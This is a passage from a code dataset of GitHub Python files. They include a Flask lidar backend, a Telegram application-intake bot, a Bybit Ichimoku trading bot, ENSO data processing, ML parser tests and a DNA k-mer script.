nodes\n self.left_child = left\n self.right_child = right\n\n # meta\n self.depth = depth\n\n def __str__(self):\n if self.is_leaf:\n output_print = f\"{self.content} --- node depth = {self.depth}\"\n else:\n output_print = f\"{self.content} --- leaf depth = {self.depth}\"\n return output_print","repo_name":"madvid/red-forest-hicker","sub_path":"utils/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32176002395","text":"#-----------------------------------------------------------------------------------------------------------\n#This app will serve as the backend for the flask app which will take the lidar readings and save them until\n#a get request is issued. After the get request the queue of readings will clear itself and then save more\n#readings.\n#-----------------------------------------------------------------------------------------------------------\nimport RPi.GPIO as gpio\nimport time\nfrom math import ceil, floor\nfrom lidar_lite import Lidar_Lite\nfrom flask import Flask, jsonify\nimport numpy\nimport nvector as nv\nimport pigpio\nfrom pymavlink import mavutil, mavlink\napp = Flask(__name__)\nlidar = Lidar_Lite()\n#connect to lidar device\nconnected = lidar.connect(1)\n#This list will serve as out readings queue\ndistanceReadings = []\n#stepRate is how much the signal will have to increase/decrease by to move the servo one degree\nstepRate = 22.222222222222\npi = pigpio.pi()\nGPIO = 17\n#Make sure that the device is actually connected and print out an appropriate message\nif connected < -1 or not pi.connected:\n print(\"Error, Either lidar or pigpio not connected (maybe try running the pigpio daemon\")\nelse:\n print(\"Both Lidar and Pigpio connected\")\n#connect to the flight controller through the rasp pi's USB port (ttyACM0) MAY STILL TRY TO FIND WAY TO GET TELEMETRY\n#TO WORK BUT WE'LL SEE\nmavlinkConnection = mavutil.mavlink_connection('/dev/ttyACM0', baudrate = 921000)\n#check to make sure you get a heartbeat from the flight controller\nmavlinkConnection.wait_heartbeat()\nif mavlinkConnection.target_system != 1:\n print('Error: Could not connect to the Flight Controller')\n#Before the very first get request is issued get irst readings\n@app.before_first_request\ndef firstRunThrough():\n pi.set_servo_pulsewidth(17, 500)\n goUp(pi)\n goDown(pi)\n#After every other subsequent get request, clear the queue and then put new readings into the queue\n@app.after_request\ndef after_request_func(response):\n global recordCount\n recordCount = 0\n distanceReadings.clear()\n goUp(pi)\n goDown(pi)\n return response\n\n#calculate the latitude, longitude from the distance measurement and return a dictionary. This will be what is put into\n#the queue of readings\ndef positionCalculator(altitude, lat,long, distCm, azimuth):\n frame = nv.FrameE(a = altitude, f = 0)\n pointA = frame.GeoPoint(latitude = lat, longitude = long, degrees = True)\n distM = distCm / 100\n pointB, azimuth = pointA.displace(distance = distM, azimuth = azimuth, degrees = True)\n returnDict = {\n \"latitude\": pointB.latitude_deg,\n \"longitude\": pointB.longitude_deg,\n \"distance\" : distCm,\n \"alt\": altitude\n }\n return returnDict\n#send signals to the servo to go from 0 degrees (500 pwm) to 180 degrees (2500 pwm) and take a reading at every\n#degree.\ndef goUp(pi):\n #start at 0 degrees\n signal = 500\n global recordCount\n #go until you hit 180 degrees\n while signal < 2500:\n #send signal to the servo to go up one more degree\n pi.set_servo_pulsewidth(17, floor(signal))\n #get the altitude from the flight controller. This will be used in the latitude/longitude coordinate\n #calculations\n alt = float(mavlinkConnection.recv_match(type = 'GLOBAL_POSITION_INT', blocking = True).alt) / 1000\n #take a distance measurement and add it to the distance readings array\n distanceReadings.append(positionCalculator(alt, 80, -90, lidar.getDistance(0), 200))\n time.sleep(.005)\n #increment the signal by one\n signal = signal + stepRate\n\n\n#send signals to the servo to go from 180 degrees (2500 pwm) to 0 degrees (500 pwm) and take a reading at every\n#degree.\ndef goDown(pi):\n #start at 180 degrees\n signal = 2500\n global recordCount\n #go until you hit 0 degrees\n while signal > 500:\n #send signal to the servo to do down by one more degree\n pi.set_servo_pulsewidth(17, floor(signal))\n #get the altitude from the flight controller. This will be used for the lat/long calculations\n alt = float(mavlinkConnection.recv_match(type = 'GLOBAL_POSITION_INT', blocking = True).alt) / 1000\n #take a lidar distance reading\n distanceReadings.append(positionCalculator(alt, 80, -90, lidar.getDistance(0), 200))\n time.sleep(.005)\n #decrement the signal by one\n signal = signal - stepRate\n#upon a get request return the readings queue\n@app.route('/', methods = ['POST', 'GET'])\ndef getReadings():\n return jsonify(distanceReadings)\n#run the app\nif __name__ == '__main__':\n app.debug = True\n #request that the positional data (GLOBAL_POSITION_INT) be sent at a higher rate. NOTE MAY TAKE THIS OUT SINCE I\n #DONT THINK IT ACTUALLY HELPS AT ALL\n mavlinkConnection.mav.request_data_stream_send(mavlinkConnection.target_system, mavlinkConnection.target_component, mavutil.mavlink.MAV_DATA_STREAM_POSITION, 500, 1)\n print(\"Heartbeat from system (system %u component %u\" % (mavlinkConnection.target_system, mavlinkConnection.target_component))\n app.run()\n","repo_name":"feddataProject/pos_calc_flask","sub_path":"env/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33852474781","text":"\r\ndef merge(arr, left, right, mid):\r\n\r\n # split arr into the two sorted halves to compare\r\n lowHalf = list(arr[left:mid+1])\r\n highHalf = list(arr[mid+1:right+1])\r\n\r\n i=0\r\n j=0\r\n k=left\r\n \r\n while(i b0 b1'.split())\n return SimpleEmbeddings(array, vocab)\n\n @pytest.fixture\n def model(self, base_pred_embeddings):\n ent_embeds = np.array([\n [10, 20, 30, 40],\n [11, 21, 31, 41],\n ], dtype=np.float32)\n rel_embeds = ent_embeds\n\n ent_model = DummyEmbedder(['ent0', 'ent1'], ent_embeds)\n rel_model = DummyEmbedder(['rel0', 'rel1'], rel_embeds)\n return CombinedPredicateEmbedder(base_pred_embeddings, ent_model, rel_model)\n\n @pytest.fixture\n def inputs(self):\n return self.as_args_kwargs([])\n\n @pytest.fixture\n def feed_dict(self):\n return {}\n\n @pytest.fixture\n def outputs(self):\n embeds = np.array([\n [0, 0, 0, 0],\n [1, 2, 3, 4],\n [0, 2, 0, 8],\n [10, 20, 30, 40],\n [11, 21, 31, 41],\n [10, 20, 30, 40],\n [11, 21, 31, 41],\n ], dtype=np.float32)\n return [embeds]\n\n @pytest.fixture\n def output_tensors(self, model):\n return [model.embeds]\n\n\n# TODO: This test is obsolete\n#class TestHistoryEmbedder(object):\n# @pytest.fixture\n# def model(self):\n# pred_embeds_tensor = tf.constant([\n# [1, 2, 3],\n# [4, 5, 6],\n# ], dtype=tf.float32)\n# class DummyPredicateEmbedder(object):\n# @property\n# def embeds(self):\n# return pred_embeds_tensor\n# pred_embeds = DummyPredicateEmbedder()\n# return HistoryEmbedder(pred_embeds, 3)\n#\n# @pytest.fixture\n# def cases(self):\n# pred_names = [\n# ['a', 'b', 'c'],\n# ['c', 'b', 'c', 'd', 'e'],\n# [],\n# ]\n#\n# preds = [[Bunch(name=name) for name in name_list] for name_list in pred_names]\n# cases = [Bunch(previous_decisions=pred_list) for pred_list in preds]\n# return cases\n#\n# @pytest.mark.usefixtures('clean_test_session')\n# def test_cases_to_histories(self, model, cases):\n# histories = model._cases_to_histories(cases)\n# assert histories == {\n# 0: ['a', 'b', 'c'],\n# 1: ['c', 'd', 'e'],\n# 2: [],\n# }\n\n\nclass TestPredicateScorer(object):\n @pytest.fixture\n def model(self):\n ninf = -float('inf')\n simple_scores = tf.constant([\n [1, 2, 3, ninf],\n [4, 5, ninf, ninf],\n [1, 1, 2, 2]\n ], dtype=tf.float32)\n soft_copy_scores = tf.constant([\n [8, -2, 10, 0],\n [0, 1, 0, 0],\n [11, 0.5, 1.4, -1.6],\n ], dtype=tf.float32)\n\n mask = tf.constant([\n [1, 1, 1, 0],\n [1, 1, 0, 0],\n [1, 1, 1, 1],\n ], dtype=tf.float32)\n\n # scores don't actually depend on cases\n simple_scorer = Bunch(scores=SequenceBatch(simple_scores, mask), inputs_to_feed_dict=lambda cases: {})\n soft_copy_scorer = Bunch(scores=SequenceBatch(soft_copy_scores, mask), inputs_to_feed_dict=lambda cases: {})\n return PredicateScorer(simple_scorer, soft_copy_scorer)\n\n @pytest.fixture\n def cases(self):\n context = 'nothing'\n p = PredicateGenerator(context)\n c0 = ParseCase.initial(context, [p('a'), p('c'), p('d')])\n c1 = ParseCase.initial(context, [p('a'), p('b')])\n c2 = ParseCase.initial(context, [p('a'), p('b'), p('d'), p('c')]) # empty\n return [c0, c1, c2]\n\n @pytest.fixture\n def correct_scores(self):\n ninf = -float('inf')\n return np.array([\n [9, 0, 13, ninf],\n [4, 6, ninf, ninf],\n [12, 1.5, 3.4, 0.4]\n ], dtype=np.float32)\n\n @pytest.mark.usefixtures('clean_test_session')\n def test(self, model, cases, correct_scores):\n scores = model.compute(model.scores.values, cases)\n assert_array_almost_equal(correct_scores, scores)\n\n\nclass DummyRLongObject(RLongObject):\n pass\n\n\nclass TestExecutionStackEmbedder(object):\n @pytest.fixture\n def model(self):\n max_stack_size = 3\n max_list_size = 7\n primitive_embed_dim = 6\n object_embed_dim = 10\n primitive_embeddings = RLongPrimitiveEmbeddings(primitive_embed_dim)\n primitive_embedder = TokenEmbedder(primitive_embeddings, 'primitive_embeds', trainable=True)\n object_embedder = DummyStackObjectEmbedder(max_stack_size, object_embed_dim)\n return ExecutionStackEmbedder(primitive_embedder, object_embedder, max_stack_size, max_list_size,\n project_object_embeds=True, abstract_objects=False)\n\n @pytest.fixture\n def cases(self):\n make_case = lambda stack: Bunch(_previous_cases=[Bunch(denotation=Bunch(execution_stack=stack))])\n some_obj = DummyRLongObject()\n empty_list = []\n\n return [\n make_case(['r', -1]),\n make_case(['X1/1']),\n make_case(['b', some_obj, empty_list]),\n ]\n\n @pytest.mark.usefixtures('clean_test_session')\n def test_inputs_to_feed_dict(self, model, cases):\n feed = model.inputs_to_feed_dict(cases)\n assert_array_almost_equal(\n feed[model._primitive_indices.values],\n np.array([\n [0, 2, 19],\n [0, 0, 20],\n [7, 0, 1],\n ], dtype=np.float32)\n )\n assert_array_almost_equal(\n feed[model._primitive_indices.mask],\n np.array([\n [0, 1, 1],\n [0, 0, 1],\n [1, 1, 1],\n ], dtype=np.float32)\n )\n\n assert_array_almost_equal(\n feed[model._is_object_feed.values],\n np.array([\n [0, 0, 0],\n [0, 0, 0],\n [0, 1, 1],\n ], dtype=np.float32)\n )\n\n @pytest.mark.usefixtures('clean_test_session')\n def test(self, model, cases):\n sess = tf.get_default_session()\n guarantee_initialized_variables(sess)\n embeds = model.compute(model.embeds, cases)\n primitive_embeddings = RLongPrimitiveEmbeddings(6)\n\n # compute object embedding after applying projection\n object_projection_layer = model._object_projection_layer\n W, b = object_projection_layer.get_weights() # shapes [10, 6] and [6]\n object_embed = np.ones(10).dot(W) + b\n\n assert_array_almost_equal(embeds[0],\n np.concatenate((np.zeros(6), primitive_embeddings['r'], primitive_embeddings[-1]))\n )\n\n assert_array_almost_equal(embeds[1],\n np.concatenate((np.zeros(6), np.zeros(6), primitive_embeddings['X1/1']))\n )\n\n assert_array_almost_equal(embeds[2],\n np.concatenate((primitive_embeddings['b'], object_embed, object_embed))\n )\n\n\nclass TestHistoryEmbedder(object):\n def test_previous_decisions_for_this_utterance(self):\n prev_cases = [Bunch(current_utterance_idx=1, decision='a'), Bunch(current_utterance_idx=1, decision='b'),\n Bunch(current_utterance_idx=2, decision='c'), Bunch(current_utterance_idx=2, decision='d')]\n\n case = Bunch(current_utterance_idx=2, _previous_cases=prev_cases)\n\n prev_decisions = HistoryEmbedder.previous_decisions_for_this_utterance(case)\n\n assert prev_decisions == ['c', 'd']\n\n bad_cases = [Bunch(current_utterance_idx=2, decision='a'), Bunch(current_utterance_idx=1, decision='b'),\n Bunch(current_utterance_idx=2, decision='c'), Bunch(current_utterance_idx=2, decision='d')]\n\n bad_case = Bunch(current_utterance_idx=2, _previous_cases=bad_cases)\n with pytest.raises(AssertionError):\n _ = HistoryEmbedder.previous_decisions_for_this_utterance(bad_case)\n","repo_name":"microsoft/ContextualSP","sub_path":"lemon/executor/strongsup/tests/test_parse_model.py","file_name":"test_parse_model.py","file_ext":"py","file_size_in_byte":12727,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"21"} +{"seq_id":"21663055","text":"import sqlite3\r\nimport telebot as tb\r\nfrom cfg import *\r\nfrom dbinit import *\r\nfrom kb import *\r\nfrom telebot import types\r\n\r\ndef accept(message):\r\n botz.send_message(message.chat.id, f\"{message.text}\\n➖➖➖➖➖➖➖➖➖➖➖➖➖\\nТак выглядит ваша заявка\\nчтобы ввести её заново пропишите /start\", reply_markup=send_kb)\r\n\r\n@botz.callback_query_handler(func=lambda call:True)\r\ndef callback(call):\r\n conn = sqlite3.connect('data.db')\r\n cur = conn.cursor()\r\n if call.message:\r\n if call.data == \"send_to_admin\":\r\n conn = sqlite3.connect('data.db')\r\n cur = conn.cursor()\r\n try:\r\n #отправление\r\n temp = [userinfo[0], userinfo[1]]\r\n cur.execute(\"INSERT INTO users (userid, name) VALUES (?,?)\", temp)\r\n botz.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.id, text=\"Заявка отправлена!\")\r\n ztext = call.message.text.split(\"➖➖➖➖➖➖➖➖➖➖➖➖➖\")[0]\r\n botz.send_message(6089704303, f\"💥новая заявка от @{userinfo[1]}!\\n {ztext}\", reply_markup=choice)\r\n conn.commit()\r\n except Exception as er:\r\n print(er)\r\n if call.data == \"call_accept\":\r\n try:\r\n #Принятие\r\n namee = call.message.text.split(\" @\")\r\n namee = namee[1].split(\"!\\n\")[0]\r\n botz.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.id, text=\"Заявка принята!\")\r\n temp = [1, namee]\r\n cur.execute(\"UPDATE users SET status = ? WHERE name = ?\", temp)\r\n conn.commit()\r\n cur.execute(f\"SELECT * FROM users WHERE name = '{namee}'\")\r\n send_id = cur.fetchall()[0][0]\r\n botz.send_sticker(send_id, \"CAACAgIAAxkBAAEJJ15kdfGT2-Eq05o2fazt_HvpngU1BwACnhkAAnHxeUnvoHyjGHc1YC8E\")\r\n botz.send_message(send_id, \"❗Вашу заявку одобрили!\\n❗Наш основной бот: \")\r\n\r\n except Exception as er:\r\n print(er)\r\n if call.data == \"call_decline\":\r\n botz.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.id,text=\"💔Заявка отклонена!💔\")\r\n\r\n@botz.message_handler(commands=['start'])\r\ndef start_message(message):\r\n db_init()\r\n conn = sqlite3.connect('data.db')\r\n cur = conn.cursor()\r\n global userinfo\r\n userinfo = [message.chat.id, message.from_user.username]\r\n\r\n try:\r\n db_init()\r\n cur.execute(f\"SELECT userid FROM users WHERE userid = '{message.chat.id}'\")\r\n if cur.fetchone() == None:\r\n botz.send_sticker(message.chat.id, 'CAACAgIAAxkBAAEJJKZkdKP-WqeTq3W_RTzaydYxi8X-MwACRxwAAqogQUkQY1qYAvXpmy8E')\r\n botz.send_message(message.chat.id, \"💡Добро пожаловать!\\n👀Заполните заявку\\n📥Опишите свой опыт\\n⏳Сколько времени готовы уделать работе?\\n❓Откуда узнали о нас?\")\r\n botz.register_next_step_handler(message, accept)\r\n else:\r\n botz.send_message(message.chat.id, \"ты уже отправлял заявку!\")\r\n except Exception as er:\r\n print(er)\r\n\r\nwhile True:\r\n try:\r\n botz.polling()\r\n except Exception as er:\r\n print(er)","repo_name":"ExortikF/zayavki-bot","sub_path":"zayavki bot/zayavki.py","file_name":"zayavki.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15286304687","text":"import datetime\nimport string\nfrom csv import writer\n\nfrom numpy import genfromtxt\nfrom pybit.unified_trading import *\nimport websocket # pip install websocket-client\nimport json\nimport pandas as pd\nfrom pybit.unified_trading import *\nimport Tools\nfrom Sources.Ichimoku import Ichimoku\nfrom Sources.PlotTools import PlotTools\nfrom Tools import *\ninit = True\n\ndef on_open(ws):\n ws.send(our_msg)\n print('open')\n\ndef on_message(ws, message):\n global dictDf, in_position, buyorders, sellorders, confirm, init, session\n out = json.loads(message)\n #print(out)\n\n confirm = out['data'][0]['confirm']\n\n if confirm:\n namePairs = out['topic'].split('.')[-1] + out['topic'].split('.')[1]\n print('1692652500000')\n print(out['data'][0]['start'])\n # Probleme sur la verification de la datetimeindex et du timestamp pour eviter des doublons à l'init\n if dictDf[namePairs].tail(1).index.values == datetime.datetime.fromtimestamp(int(out['data'][0]['start'])/1000):\n return\n\n out = pd.DataFrame({'open': float(out['data'][0]['open']), 'close': float(out['data'][0]['close']),\n 'high': float(out['data'][0]['high']), 'low': float(out['data'][0]['low']),\n 'volume': float(out['data'][0]['volume'])},\n index=[pd.to_datetime(out['data'][0]['start'], unit='ms')])\n print(namePairs)\n print(dictDf[namePairs])\n dictDf[namePairs] = pd.concat([dictDf[namePairs], out], axis=0)\n print(dictDf[namePairs])\n\n # Manage CSV file\n csv_object = open(csvPath, 'a', newline='')\n writer_object = writer(csv_object)\n\n # Strategy on SMA on 5 elements\n dictDf[namePairs] = dictDf[namePairs].tail(5) # 5 is a value of the value to keep in the dataframe for the calculation\n last_price = dictDf[namePairs].tail(1).close.values[0]\n sma_5 = dictDf[namePairs].close.rolling(5).mean().tail(1).values[0]\n\n # Verify if the buyorders, sellorders and in_position works\n # Buy signal\n if not in_position[namePairs] and last_price > sma_5:\n # Manage values\n buyorders[namePairs].append(last_price)\n in_position[namePairs] = True\n #if canTradeWithBybit:\n #Implemnt buying API + Verification of the remaining money\n\n # Display results\n print('bought' + namePairs + ' for ' + str(last_price))\n\n # Add a row in csv\n row = [namePairs, 'Buy', 0]\n row.extend(dictDf[namePairs].tail(1).values[0])\n writer_object.writerow(row)\n\n # Sell signal\n if in_position[namePairs] and sma_5 > last_price:\n # Manage values\n profit = str(last_price - buyorders[-1])\n sellorders[namePairs].append(last_price)\n in_position[namePairs] = False\n #if canTradeWithBybit:\n #Implement selling API + Verification of the remaining tokens\n\n # Display results\n print('sold' + namePairs + ' for ' + str(last_price))\n print('Profit : ' + profit)\n\n # Add a row in csv\n row = [namePairs, 'Sell', profit]\n row.extend(dictDf[namePairs].tail(1).values[0])\n writer_object.writerow(row)\n\n # Close csv file\n csv_object.close()\n\ndef init_ichimoku(namePairsWithTime, namePairs, nbTimeFrame, interval):\n global dictDf\n # Retrieve kline for the 52nd last minutes in order to create the cloud properly\n session = HTTP(testnet=True)\n end = datetime.datetime.now().replace(second=0)\n start = end - datetime.timedelta(minutes=nbTimeFrame*60)\n start = datetime.datetime.timestamp(start)\n end = datetime.datetime.timestamp(end)\n\n kline = session.get_kline(category=\"linear\",\n symbol=namePairs.upper(),\n interval=interval,\n start=start,\n end=end,\n limit=nbTimeFrame)\n\n listResults = list(reversed(kline['result']['list']))\n for elements in listResults:\n out = pd.DataFrame({'open': float(elements[1]), 'close': float(elements[4]),\n 'high': float(elements[2]), 'low': float(elements[3]),\n 'volume': float(elements[5])},\n index=[pd.to_datetime(int(elements[0]), unit='ms')])\n dictDf[namePairsWithTime] = pd.concat([dictDf[namePairsWithTime], out], axis=0)\n #print(dictDf[namePairsWithTime])\n\ndef init(nbTimeFrame):\n global argsPair, canTradeWithBybit, csvPath, dictDf, confirm, in_position, buyorders, sellorders\n # Init lists and booleans for on_message callback\n dictDf = dict()\n confirm = False\n buyorders, sellorders = dict(), dict()\n in_position = dict()\n\n # Manage config file\n config = Tools.readconfigfile()\n\n canTradeWithBybit = config[\"INFORMATIONS\"][\"canTradeWithBybit\"] == 'True'\n apiKey = config[\"INFORMATIONS\"][\"apikey\"]\n apiSecret = config[\"INFORMATIONS\"][\"apisecret\"]\n\n # Create name for csv\n csvPath = Tools.createcsvpath()\n # Manage CSV file\n csv_object = open(csvPath, 'a', newline='')\n writer_object = writer(csv_object)\n\n argsPair = []\n for pairs in config[\"PAIRS\"]:\n timeValue = config[\"PAIRS\"][pairs]\n pairsWithTimeValue = pairs.upper() + timeValue\n argsPair.append('kline.' + timeValue + '.' + pairs.upper())\n if pairs not in dictDf.keys():\n dictDf[pairsWithTimeValue] = pd.DataFrame()\n in_position[pairsWithTimeValue] = False\n buyorders[pairsWithTimeValue] = []\n sellorders[pairsWithTimeValue] = []\n\n init_ichimoku(pairsWithTimeValue, pairs, nbTimeFrame, timeValue)\n\n # Extend header in csv at initiation\n header = ['Name', 'Action', 'Profit']\n header.extend(dictDf[pairsWithTimeValue].columns.values.tolist())\n print(header)\n writer_object.writerow(header)\n\ndef backtest():\n global dictDf\n #Date,Open,High,Low,Close,Volume BTC,Volume USDT\n quotes = genfromtxt('../Binance_BTCUSDT_1h.csv', delimiter=',')\n quotes = quotes[::-1]\n dictDf = dict()\n dictDf['BTCUSDT'] = pd.DataFrame()\n for elements in quotes:\n out = pd.DataFrame({'open': float(elements[1]), 'close': float(elements[4]),\n 'high': float(elements[2]), 'low': float(elements[3]),\n 'volume': float(elements[5])},\n index=[pd.to_datetime(int(elements[0]*1000000), unit='ns')])\n dictDf['BTCUSDT'] = pd.concat([dictDf['BTCUSDT'], out], axis=0)\n\nif __name__ == \"__main__\":\n print(\"Lancement d'optimum trade\")\n nbTimeFrame = 52*5000\n init(nbTimeFrame)\n\n # Manage websocket infos\n endpoint = 'wss://stream-testnet.bybit.com/v5/public/linear'\n our_msg = json.dumps({'op': 'subscribe',\n 'args': argsPair,\n 'id': 1})\n # backtest()\n kijun_lookback = 26\n tenkan_lookback = 9\n chikou_lookback = 26\n senkou_span_projection = 26\n senkou_span_a_lookback = 26\n senkou_span_b_lookback = 52\n ichimoku = Ichimoku(kijun_lookback, tenkan_lookback, chikou_lookback, senkou_span_a_lookback, senkou_span_b_lookback, senkou_span_projection)\n ichimoku.kijun_sen(dictDf)\n ichimoku.tenkan_sen(dictDf)\n ichimoku.chikou_span(dictDf)\n ichimoku.senkou_span(dictDf)\n # print(dictDf)\n # PlotTools(dictDf)\n ichimoku.signal(dictDf, in_position, buyorders, sellorders)\n # Toujours conserver 156 valeurs pour avoir un beau nuage bien complet\n\n # Recuperer toutes les datas\n # ws = websocket.WebSocketApp(endpoint, on_message=on_message, on_open=on_open)\n # ws.run_forever()\n\n print(\"Aurevoir\")","repo_name":"LeChamelierFou/BasicProject","sub_path":"Sources/BotInfrastructure.py","file_name":"BotInfrastructure.py","file_ext":"py","file_size_in_byte":7865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5227603738","text":"import collections.abc\nimport logging\nimport os\nfrom typing import Dict\n\nimport gym\n\nfrom hprl.env.gym_wrapper import GymWrapper\nfrom hprl.recorder import read_ckpt\nfrom hprl.trainer.builder.iql import build_iql_trainer\nfrom hprl.trainer.trainer import Trainer\nfrom hprl.typing import PolicyTypes, ReplayBufferTypes\n\nlogger = logging.getLogger(__name__)\n\n\ndef load_trainer(\n ckpt_path: str,\n override_config: Dict = {},\n recording: bool = False,\n):\n ckpt = read_ckpt(ckpt_path)\n config: Dict = ckpt[\"config\"]\n trainer_conf = config[\"trainer\"]\n policy_type = trainer_conf[\"type\"]\n if recording:\n old_output_dir: str = trainer_conf[\"output_dir\"]\n split_str = old_output_dir.split(\"_\")\n cnt = 0\n if split_str[-2] == \"cnt\":\n cnt = int(split_str[-1])\n preffix = old_output_dir.split(\"cnt\")[0]\n output_dir = f\"{preffix}cnt_{cnt+1}\"\n else:\n output_dir = f\"{old_output_dir}_cnt_0\"\n if not os.path.exists(output_dir):\n os.mkdir(output_dir)\n log_to_file(output_dir)\n else:\n output_dir = \"\"\n\n if \"trainer\" not in override_config:\n override_config[\"trainer\"] = {}\n override_config[\"trainer\"][\"output_dir\"] = output_dir\n if policy_type == PolicyTypes.IQL:\n dict_update(config, override_config)\n trainer = build_iql_trainer(config)\n trainer.set_weight(ckpt[\"weight\"])\n trainer.set_records(ckpt[\"records\"])\n else:\n raise ValueError(\n \"policy {} loading function not implement\".format(policy_type))\n return trainer\n\n\ndef log_to_file(path: str = \"\"):\n if not path:\n path = \"hprl.log\"\n elif os.path.isdir(path):\n path = f\"{path}/hprl.log\"\n filehander = logging.FileHandler(path, \"a\")\n formatter = logging.Formatter(\n fmt=\"%(asctime)s - %(levelname)s - %(message)s\", )\n filehander.setFormatter(formatter)\n hprl_logger = logging.getLogger(\"hprl\")\n hprl_logger.addHandler(filehander)\n\n\ndef dict_update(d, u):\n for k, v in u.items():\n if isinstance(v, collections.abc.Mapping):\n d[k] = dict_update(d.get(k, {}), v)\n else:\n d[k] = v\n return d\n\n\ndef build_gym_trainer(\n trainer_type: PolicyTypes,\n buffer_type: ReplayBufferTypes = None,\n batch_size: int = 0,\n) -> Trainer:\n raise NotImplementedError\n","repo_name":"AmoyZhp/traffic_light_control","sub_path":"traffic_light_control/hprl/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20586495073","text":"import os\nimport datetime\nimport pandas as pd\n\nURLS = {\n \"t300_e\": \"https://www.pmel.noaa.gov/tao/wwv/data/t300_east.dat\",\n \"t300_w\": \"https://www.pmel.noaa.gov/tao/wwv/data/t300_west.dat\",\n \"t300_c\": \"https://www.pmel.noaa.gov/tao/wwv/data/t300.dat\",\n \"wwv_e\": \"https://www.pmel.noaa.gov/tao/wwv/data/wwv_east.dat\",\n \"wwv_w\": \"https://www.pmel.noaa.gov/tao/wwv/data/wwv_west.dat\",\n \"wwv_c\": \"https://www.pmel.noaa.gov/tao/wwv/data/wwv.dat\",\n \"u850_e\": \"https://www.cpc.ncep.noaa.gov/data/indices/epac850\",\n \"u850_w\": \"https://www.cpc.ncep.noaa.gov/data/indices/wpac850\",\n \"u850_c\": \"https://www.cpc.ncep.noaa.gov/data/indices/cpac850\",\n \"olr\": \"https://www.cpc.ncep.noaa.gov/data/indices/olr\",\n \"nino\": \"https://www.cpc.ncep.noaa.gov/data/indices/sstoi.indices\",\n}\n\n\ndef process_3in1(key):\n df = pd.read_fwf(\n URLS[key],\n widths=[4] + [6] * 12,\n delimiter=\"\\s+\",\n skiprows=[0, 1, 2, 3, 54, 55, 56, 57, 58, 108, 109, 110, 111, 1112],\n header=None,\n names=[\"year\"] + list(range(1, 13)),\n na_values=-999.9,\n )\n\n indices = [0] + list(df.loc[df[\"year\"] == 2023].index)\n labels = [\"\", \"_anom\", \"_norm\"]\n dfs = []\n for i, index in enumerate(indices):\n sub_df = (\n df[index : indices[i + 1]]\n .melt(\"year\", var_name=\"month\")\n .rename(columns={\"value\": f\"{key}{labels[i]}\"})\n .dropna()\n )\n sub_df.index = pd.to_datetime(\n sub_df[\"year\"].astype(str) + sub_df[\"month\"].astype(str).str.zfill(2),\n format=\"%Y%m\",\n )\n dfs.append(sub_df.drop(columns=[\"year\", \"month\"]))\n if i == 2:\n break\n return pd.concat(dfs, axis=1)\n\n\ndef process_ewc(key):\n return pd.concat(\n [\n pd.read_csv(\n URLS[key],\n skiprows=6,\n delimiter=\"\\s+\",\n names=[\"time\", key, f\"{key}_anom\"],\n date_parser=lambda x: datetime.datetime.strptime(x, \"%Y%m\"),\n parse_dates=True,\n index_col=\"time\",\n )\n for key in [f\"{key}_e\", f\"{key}_w\", f\"{key}_c\"]\n ],\n axis=1,\n )\n\n\nt300_df = process_ewc(\"t300\")\nwwv_df = process_ewc(\"wwv\")\nolr_df = process_3in1(\"olr\")\nu850_df = pd.concat([process_3in1(f\"u850_{ewc}\") for ewc in \"ewc\"], axis=1)\nnino_df = pd.read_csv(\n URLS[\"nino\"], delimiter=\"\\s+\", parse_dates={\"time\": [\"YR\", \"MON\"]}\n).set_index(\"time\")\nnino_df.columns = [\n col.lower() if i % 2 == 0 else f\"{nino_df.columns[i - 1].lower()}_anom\"\n for i, col in enumerate(nino_df.columns)\n]\n\ndf = pd.concat(\n [\n df.loc[~df.index.duplicated(keep=\"last\")]\n for df in [t300_df, wwv_df, olr_df, u850_df, nino_df]\n ],\n axis=1,\n)\ndf.to_csv(\"nino_ml.csv\")\n","repo_name":"ahuang11/ninodata","sub_path":"process_nino_ml.py","file_name":"process_nino_ml.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"26198795315","text":"\n#val3 train 1000, test 1000\n#val4 train 10,000, test 1000\n#val5 train 100,000, test 1000\n\n#With subset\n#val7 train 1,000,000, test 1000\nimport sys\nimport h5py\nimport numpy as np\nfrom scipy.io import loadmat\nimport os\n\nnumOfData = 1000000\nval = 7\n\ndef load_files(train_file, test_file):\n print(\"loading training data\")\n with h5py.File(train_file, 'r') as train_data:\n train_labels = np.transpose(train_data['traindata'], (1, 0))\n train_labels = train_labels[0:numOfData]\n # print(train_labels.shape)\n\n traindata = train_data['trainxdata']\n train_inputs = np.empty((numOfData, 1000), dtype=np.float32)\n train_inputs = np.transpose(np.argmax(traindata[:, :, 0:numOfData], axis=1))\n # print(train_inputs.shape)\n\n print(\"loading testing data\")\n test_data = loadmat(test_file)\n\n test_labels = test_data['testdata'][:1000]\n test_inputs = np.argmax(test_data['testxdata'][:1000], axis = 1)\n\n # print(test_labels.shape)\n # print(test_inputs.shape)\n\n return train_inputs, train_labels, test_inputs, test_labels\n\ndef get_kmers(inputs, labels, dna_dict, len_kmer):\n kmers = np.empty((len(inputs) + 1, 3), dtype=object)\n kmers[0] = \"sequence\", \"fake_label\", \"real_label\"\n\n for i in range(1, len(inputs)+ 1):\n # just to track time in big files -- can delete this\n if i % 10000 == 0:\n print(i/len(inputs))\n kmers[i, 0] = ''\n seq = ''\n for j in range(len(inputs[0])):\n seq += dna_dict[inputs[i-1,j]] # get sequence\n\n num_kmers = 0\n for j in range(245, 755):\n kmers[i, 0] += seq[j:j+k]\n kmers[i, 0] += ' ' # separate kmers by spaces\n num_kmers += 